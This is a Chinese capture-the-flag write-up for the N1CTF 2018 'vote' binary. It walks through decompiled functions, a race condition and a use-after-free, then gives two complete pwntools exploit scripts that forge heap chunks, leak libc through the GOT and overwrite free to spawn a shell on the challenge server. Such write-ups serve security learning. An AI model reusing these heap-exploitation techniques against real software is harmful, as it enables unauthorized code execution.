n1ctf-2018-writeup

咸鱼,咸鱼~

vote

分析

发现没什么特别的保护:

分析程序,一个结构体:

程序支持添加候选人,为候选人投票,取消投票,票数为负就删除候选人,也可以显示他们的投票信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int opt; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
alarm(30u);
while ( 1 )
{
printn("0: Create");
printn("1: Show");
printn("2: Vote");
printn("3: Result");
printn("4: Cancel");
printn("5: Exit");
print("Action: ");
if ( (unsigned int)__isoc99_scanf("%d", &opt) == -1 )
break;
if ( !opt )
create();
if ( opt == 1 )
show();
if ( opt == 2 )
vote();
if ( opt == 3 )
result();
if ( opt == 4 )
cancel();
if ( opt == 5 )
{
printn("Bye");
exit(0);
}
}
exit(1);
}

在添加候选人能控制malloc的大小,但是malloc出的前两个QWORD几乎不可控,特别第二个是时间不能控制,这也是唯一的对name域进行写入的机会:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void create()
{
struct person *p; // ST08_8
signed int i; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]

for ( i = 0; i <= 15; ++i )
{
if ( !candidates[i] )
{
print("Please enter the name's size: ");
size = readsint();
if ( size > 0 && size <= 4096 )
{
p = (struct person *)malloc(size + 0x10);
p->count = 0LL;
p->time = time(0LL);
print("Please enter the name: ");
readn(&p->name, size);
candidates[i] = p;
}
return;
}
}
}

另外person的count与一个全局的count应该是同步的,但是此处在创建候选人时未对其初始化,在投票处,会在子线程里面对其加一,会存在竞争条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 vote()
{
__int64 *v0; // rbx
int i; // [rsp+Ch] [rbp-24h]
pthread_t newthread; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+18h] [rbp-18h]

v4 = __readfsqword(0x28u);
print("Please enter the index: ");
i = readsint();
if ( i >= 0 && i <= 15 && candidates[i] )
{
++candidates[i]->count;
v0 = &candidates[i]->time;
*v0 = time(0LL);
index = i;
pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL);
}
return __readfsqword(0x28u) ^ v4;
}
void *__fastcall start_routine(void *a1)
{
sleep(3u);
++sq[index];
return 0LL;
}

然后show可以输出一些数据,用于信息泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 show()
{
int i; // [rsp+Ch] [rbp-124h]
char s[280]; // [rsp+10h] [rbp-120h]
unsigned __int64 v3; // [rsp+128h] [rbp-8h]

v3 = __readfsqword(0x28u);
memset(s, 0, 0x10AuLL);
print("Please enter the index: ");
i = readsint();
if ( i >= 0 && i <= 15 && candidates[i] )
{
snprintf(
s,
0x100uLL,
"name: %s\ncount: %lu\ntime: %lu",
&candidates[i]->name,
candidates[i]->count,
candidates[i]->time);
printn(s); // 格式化串、缓冲区溢出
}
return __readfsqword(0x28u) ^ v3;
}

最后就是cancel啦,一个明显的uaf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void cancel()
{
int i; // [rsp+Ch] [rbp-4h]

print("Please enter the index: ");
i = readsint();
if ( i >= 0 && i <= 15 && candidates[i] )
{
if ( --sq[i] == --candidates[i]->count ) // wait 3
{
if ( sq[i] < 0 )
free(candidates[i]); // uaf
}
else if ( sq[i] < 0 )
{
printf("%s", &candidates[index]->name);
fflush(stdout);
printn(" has freed");
free(candidates[i]);
candidates[i] = 0LL;
}
}
}

利用

大致如下:

  1. create六个候选人,list[0x00]=chunk0x00….list[0x05]=chunk0x05,chunk大小为0x60,即name size大小为0x60-0x08-0x10=0x48,并且chunk0x01 03 05name处要伪造3个chunk,即伪造的chunk偏移为0x10+0x10:p64(0)+p64(0x60)+p64(0x602000+2-0x08)+p64(0)+p64(0x60)+p64(&list[0x08]+2-0x08)+p64(0)+p64(0x60)+p64(0x602038+2-0x08)
  2. cancel两个候选人,即free(list[0x01])->free(list[0x00])则fastbin中:fastbin->chunk0x00->chunk0x01->0
  3. 为list[0x00]投票0x20次,即fd+0x20,指向了fakechunk0x00,create三个候选人,list[0x06]=chunk0x00,list[0x07]=fakechunk0x00,list[0x08]=0x602000+2-0x08
  4. 再次cancel两个候选人,即free(list[0x03])->free(list[0x02]),为list[0x02]投票0x20+0x18次,此时fd指向fakechunk0x01
  5. create三个候选人,list[0x09]=chunk0x00,list[0x0a]=fakechunk0x01,list[0x0b]=&list[0x08]+2+0x08=&list[0x0a]+2,(这里似乎会覆盖list[0x0b]但是由于它是最后被赋值,所以list[0x0b]不会被覆盖),此时为name赋值为'a'*6+p64(0x602028)即可在show list[0x0b]的时候输出write的地址,泄露出libc
  6. cancel两个候选人,即free(list[0x05])->free(list[0x04]),为list[0x00]投票0x20+0x18+0x18次,此时fd指向fakechunk0x02
  7. create三个候选人,list[0x0c]=chunk0x00,list[0x0d]=fakechunk0x02,list[0x0e]=0x602038+2-0x08,为list[0x0e]的name赋值'a'*6+map(p64,(alarm,read,__libc_start_main,time,malloc,fflush,setvbuf,atoi,__isoc99_scanf),在调用atoi之前会先调用fflush->__isoc99_scanf->memset->read,其中memset值低2为不可控,那么最好先尝试onegadget……….此处省略一万字

then写出代码,可控制PC,然鹅,4个onegadget都不能用,惨!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python
# coding=utf-8
from pwn import *
onegadget = int(args['OG'],16)
context.binary = './vote'
debug = not args['REMOTE']
libc = null
def cc():
global libc
if not debug:
libc=ELF('libc-2.23.so')
return remote('47.97.190.1',6000)
#return remote('121.42.189.18',1234)
else:
# context.log_level='debug'
libc=ELF('../glibc-2.24/build/libc.so.6')
return process(['../glibc-2.24/build/elf/ld.so','--library-path','../glibc-2.24/build;/root/Desktop/glibc-2.24/build/nptl','./vote'])
def sl(s):
p.sendline(s)
def sn(s):
p.send(s)
def sla(a,b):
# p.sendlineafter(b,a)
p.sendline(a)
def sa(a,b):
p.sendafter(b,a)
def opt(i):
sla(str(i),'Action:')
def create(s,size=0x48):
opt(0)
assert(('\n' not in s ) and len(s)<=size)
sla(str(size),'size:')
if len(s)<size:
sla(s,'name:')
else:
assert(s[size-1] == '\x00')
sa(s,'name:')
def show(i):
opt(1)
sla(str(i),'index:')
return p.recvuntil('\ntime')
def vote(i):
opt(2)
sla(str(i),'index:')
def result():
opt(3)
return p.recvuntil('0: Create')
def cancel(i):
opt(4)
sla(str(i),'index:')
# assert('has freed' not in p.recvuntil('0: Create'))
def genfc(addr,size=0x60):
return p64(0)+p64(size)+p64(addr)
#0
p = cc()
#一些地址
listAddr = 0x6020E0
synAddr = 0x602180
gotpltAddr = 0x602000
#第一步
create('',size=0x28) #fc0x00=syn[0x01]
create(genfc(synAddr+0x08*1-0x08,size=0x40),size=0x28) #fc0x00=syn[0x01]
for _ in range(4):
create(genfc(listAddr+0x08*8+2-0x08)+genfc(gotpltAddr+2-0x08)*2) #fc0x02=list[0x08] fc0x03=gotplt
cancel(0x01)
cancel(0x00)
cancel(0x02) #
#gdb.attach(p)
for _ in range(0x20):
vote(0)
create('',size=0x28) #l6=c0x00
create('',size=0x28) #l7=fcp
for _ in range(0x2b): #将syn[0x01]改为0x4*
sleep(0.3)
vote(1)
#gdb.attach(p)
sleep(2)
create('',size=0x28) #l8=fc0x00

#gdb.attach(p,'x/10x 0x602180')

#pause()
#gdb.attach(p,'''
#handle SIGALRM ignore
#x/10x 0x602180''')
#pause()

#第二步
cancel(0x04)
for _ in range(0x20):
vote(4)
#第三步
create('') #l3=c2
create('') #l9=fcp
create('a'*6+p64(0x602018)) #la=fc0x01=list[0x08]
lala = show(0x0c) #lb=padding
#print lala
freeAddr = int(show(0x0c).split('count: ')[-1].split('\ntime')[0])
log.info('freeAddr:0x{:x}'.format(freeAddr))
############################################3
#第四步
cancel(0x02) #
cancel(0x05)
for _ in range(0x20+0x18+0x18):
vote(5)
#第五步
create('c') #
create('d')
lucky = freeAddr - libc.symbols['free']+onegadget
log.info("one_gadget Addr:0x{:x}".format(lucky))
payload = 'a'*6+flat([lucky,lucky,lucky])
garbage = p.recv()
#gdb.attach(p,'handle SIGALRM ignore')
create(payload)
p.sendline('id')
p.interactive()

于是换第二种思路:
先控制list使指向free,再通过cancel将其改为system再调用free(实在不想写具体的过程了…两天时间,一次次脑洞大开,发现是坑,起起落落,悲痛欲绝。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.binary = './vote'
debug = not args['REMOTE']
def cc():
if not debug:
return remote('47.97.190.1',6000)
#return remote('121.42.189.18',1234)
else:
# context.log_level='debug'
return process(['../glibc-2.24/build/elf/ld.so','--library-path','../glibc-2.24/build;/root/Desktop/glibc-2.24/build/nptl','./vote'])
def sl(s):
p.sendline(s)
def sn(s):
p.send(s)
def sla(a,b):
# p.sendlineafter(b,a)
p.sendline(a)
def sa(a,b):
p.sendafter(b,a)
def opt(i):
sla(str(i),'Action:')
def create(s,size=0x48):
opt(0)
assert(('\n' not in s ) and len(s)<=size)
sla(str(size),'size:')
if len(s)<size:
sla(s,'name:')
else:
assert(s[size-1] == '\x00')
sa(s,'name:')
def show(i):
opt(1)
sla(str(i),'index:')
return p.recvuntil('\ntime')
def vote(i):
opt(2)
sla(str(i),'index:')
def result():
opt(3)
return p.recvuntil('0: Create')
def cancel(i):
opt(4)
sla(str(i),'index:')
# assert('has freed' not in p.recvuntil('0: Create'))
def genfc(addr,size=0x60):
return p64(0)+p64(size)+p64(addr)
#0
p = cc()
#一些地址
listAddr = 0x6020E0
synAddr = 0x602180
freeGot = 0x602018
#第一步
create('',size=0x48) #fc0x00=syn[0x01]
create('',size=0x58)
create(genfc(listAddr+0x08*7+2-0x08),size=0x48) #fc0x02=list[0x08] fc0x03=gotplt
create(genfc(synAddr+0x08*1-0x08,size=0x70),size=0x58)
create('',size=0x48)

cancel(0x03)
cancel(0x01)
cancel(0x02)

for _ in range(0x20):
sleep(0.2)
vote(1)
create('',size=0x58) #l6=c0x00
create('\x30bin/sh\x00'*(0x58/0x08-1),size=0x58) #l7=fcp
for _ in range(0x78): #将syn[0x01]改为0x4*
sleep(0.1)
vote(1)
#sleep(2)
create(flat([0,0,0,0,0,0,0,0xfffff,0xfffff,0xfffff,0xfff]),size=0x58) #l7=fc0x00
#第二步
cancel(0x00)
for _ in range(0x20):
vote(0)
create('') #l8=c2
create('') #l9=fcp
create('a'*6+p64(freeGot)+p64(freeGot+1)+p64(freeGot+2)) #la=fc0x01=list[0x08] lb lc ld
#listAddr = 0x6020E0
#synAddr = 0x602180 -- 0x4010E6 cancel 0x40109D
#freeGot = 0x602018 0x3f160
freeAddr = int(show(0x0b).split('count: ')[-1].split('\ntime')[0])
print hex(freeAddr)
for _ in range(0x60): #0xf0-0x90 0x60 0x20
cancel(0x0b)
for _ in range(0xf1): #0x44-0x53+0x100 0xf1 0xb6
cancel(0x0c)
for _ in range(0x03): #0x08-0x01-0x04 0x03
cancel(0x0d)
f = int(show(0x0b).split('count: ')[-1].split('\ntime')[0])
print hex(freeAddr-f)
#gdb.attach(p,'handle SIGALRM ignore\nb *0x4010E6')
#pause()
cancel(0x04)
p.sendline('id')
p.interactive()

结果